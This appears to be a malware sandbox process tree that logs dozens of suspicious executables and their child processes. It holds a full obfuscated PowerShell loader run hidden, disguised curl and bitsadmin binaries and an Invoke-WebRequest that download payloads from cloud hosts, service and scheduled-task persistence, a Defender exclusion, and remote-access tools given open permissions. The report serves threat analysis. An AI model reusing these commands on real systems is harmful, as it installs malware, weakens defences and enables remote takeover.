C:\Windows\system32\a\d6a0dbb9ae834113a8401012b1f9aa18.exed6a0dbb9ae834113a8401012b1f9aa18.exe3⤵
-
-
C:\Windows\system32\a\d33ab8c1371c4e1b9f2fdb7007e21df4.exed33ab8c1371c4e1b9f2fdb7007e21df4.exe3⤵
-
-
C:\Windows\system32\a\file_4b8d61b5a6f660b5.exefile_4b8d61b5a6f660b5.exe3⤵
-
-
C:\Windows\system32\a\64c95144ee7744879dc688f427e12703.exe64c95144ee7744879dc688f427e12703.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Installer_91473f.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\2d7aaa6d163f48458905a62516fc1390.exe2d7aaa6d163f48458905a62516fc1390.exe3⤵
-
-
C:\Windows\system32\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3780 -s 9364⤵
- Program crash
-
-
-
C:\Windows\system32\a\Forbes.exeForbes.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodthingsforbestpersonforme.hta3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c file_457316565c5d19a2.cmd3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=17-56;$yIAnYBp=''k5XwE8pj'';$chwoge=''cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5'';$a8hABT30=''XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4='';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, ''$jkEZ6Itm'', ''''));$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'''') $obuXd1W"'"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=17-56;$yIAnYBp='k5XwE8pj';$chwoge='cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5';$a8hABT30='XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4=';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, '$jkEZ6Itm', ''));$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'') $obuXd1W5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gu5z20qn\gu5z20qn.cmdline"6⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES74D3.tmp" "c:\Users\Admin\AppData\Local\Temp\gu5z20qn\CSC71A3EF0A893848B0AA812CECAC2653F.TMP"7⤵
-
-
-
-
-
-
C:\Windows\system32\a\file_e8219df7a9a21088.exefile_e8219df7a9a21088.exe3⤵
-
-
C:\Windows\system32\a\file_bec865d8acfd0630.exefile_bec865d8acfd0630.exe3⤵
-
-
C:\Windows\system32\a\rmc.exermc.exe3⤵
-
-
C:\Windows\system32\a\mKM65Cf6QNqeOVw9.exemKM65Cf6QNqeOVw9.exe3⤵
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "CheckManagerAgent_f549"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "CheckManagerAgent_f549" binpath= "C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "CheckManagerAgent_f549"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\a\file_b74843ad95bef0e9.exefile_b74843ad95bef0e9.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e599ab0.exe"C:\Users\Admin\AppData\Local\Temp\sx0e599ab0.exe"4⤵
-
-
-
C:\Windows\system32\a\file_851477f5539ff9f4.exefile_851477f5539ff9f4.exe3⤵
-
-
C:\Windows\system32\a\6eq5gvOfRvNmCi54.exe6eq5gvOfRvNmCi54.exe3⤵
-
C:\Users\Admin\AppData\Local\System\Backup\C167F18B\NetUpdate24f66f.exe"C:\Users\Admin\AppData\Local\System\Backup\C167F18B\NetUpdate24f66f.exe"4⤵
-
-
-
C:\Windows\system32\a\9z7BGnRGpgs8cZv7.exe9z7BGnRGpgs8cZv7.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateManager_3a76" /tr "C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe"C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe"4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /query /tn "UpdateManager_3a76"5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateManager_3a76" /tr "C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe" /sc minute /mo 1 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\system32\a\gM9anpOuZNKX8zHj.exegM9anpOuZNKX8zHj.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateWatch_da78" /tr "C:\Users\Admin\AppData\Roaming\BackupBA27\NetServicea276a.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\file_8a7c2cae7ca4b114.exefile_8a7c2cae7ca4b114.exe3⤵
-
-
C:\Windows\system32\a\file_f309f8496f916deb.exefile_f309f8496f916deb.exe3⤵
-
-
C:\Windows\system32\a\file_73ed34a7752ecb3a.exefile_73ed34a7752ecb3a.exe3⤵
-
-
C:\Windows\system32\a\file_77b5757ae75eb20b.exefile_77b5757ae75eb20b.exe3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file_77b5757ae75eb20b.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.04⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2bc,0x2c0,0x2c4,0x2b8,0x354,0x7fff50a3c188,0x7fff50a3c194,0x7fff50a3c1a05⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file_77b5757ae75eb20b.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.04⤵
-
-
-
C:\Windows\system32\a\file_3a1cc00092af29d0.exefile_3a1cc00092af29d0.exe3⤵
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Windows\system32\a\test.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\a\app.exeapp.exe3⤵
-
-
C:\Windows\system32\a\svc.exesvc.exe3⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" description WinUpdateHelper "Manages Windows Update helper components"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start WinUpdateHelper4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\a\bot_x64.exebot_x64.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\file_3dfa6b71eb1f52a6.exefile_3dfa6b71eb1f52a6.exe3⤵
-
-
C:\Windows\system32\a\file_b82f2dba4422534f.exefile_b82f2dba4422534f.exe3⤵
-
-
C:\Windows\system32\a\file_ac12f1da1bdab1e0.exefile_ac12f1da1bdab1e0.exe3⤵
-
-
C:\Windows\system32\a\8.exe8.exe3⤵
-
-
C:\Windows\system32\a\7.exe7.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i vmware-setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\file_37b904483beaa60e.exefile_37b904483beaa60e.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
-
-
-
C:\Windows\system32\a\s.exes.exe3⤵
-
-
C:\Windows\system32\a\acr-g1upd-639159296668701809.exeacr-g1upd-639159296668701809.exe3⤵
-
-
C:\Windows\system32\a\php.exephp.exe3⤵
-
-
C:\Windows\system32\a\file_a8b257b458693ac9.exefile_a8b257b458693ac9.exe3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Windows\system32\a\hilton.exehilton.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spx.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys35192\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys35192\tmp174.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\Sys35192\msvcrt.dllC:\Users\Public\Documents\Sys35192\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys35192\tmp174.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys35192\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip "C:\Users\Public\Documents\Sys35192\tmp174.zip"4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\Sys35192\advapi32.dllC:\Users\Public\Documents\Sys35192\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip "C:\Users\Public\Documents\Sys35192\tmp174.zip"5⤵
-
-
-
-
C:\Windows\system32\a\file_a6357da6a05d7266.exefile_a6357da6a05d7266.exe3⤵
-
-
C:\Windows\system32\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Windows\system32\a\CFXBypass.exeCFXBypass.exe3⤵
-
C:\Users\Admin\AppData\Local\7347e37d-4fae-493c-ab25-6b06d8d8888e\background.exe"C:\Users\Admin\AppData\Local\7347e37d-4fae-493c-ab25-6b06d8d8888e\background.exe"4⤵
-
C:\Users\Admin\AppData\Local\3e79aad9-6e8e-4904-87ba-58e2bce8926e\W52UE52XBY31.exe"C:\Users\Admin\AppData\Local\3e79aad9-6e8e-4904-87ba-58e2bce8926e\W52UE52XBY31.exe"5⤵
-
-
-
-
C:\Windows\system32\a\Isass.exeIsass.exe3⤵
-
C:\Windows\system32\a\Isass.exeIsass.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Windows\system32\a\vnc.exevnc.exe3⤵
-
-
C:\Windows\system32\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\system32\a\21.exe21.exe3⤵
-
-
C:\Windows\system32\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
-
C:\Windows\system32\a\PPTV(pplive)_forap_1084_9993.exePPTV(pplive)_forap_1084_9993.exe3⤵
-
-
C:\Windows\system32\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RuntimeBroker_rustdesk.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config5⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RuntimeBroker_rustdesk.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\system32\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
-
C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Windows\system32\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Windows\system32\a\setup.exesetup.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approval3546.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Order2390.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\REF-CLI%20v1.0.3.exeREF-CLI%20v1.0.3.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\system32\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
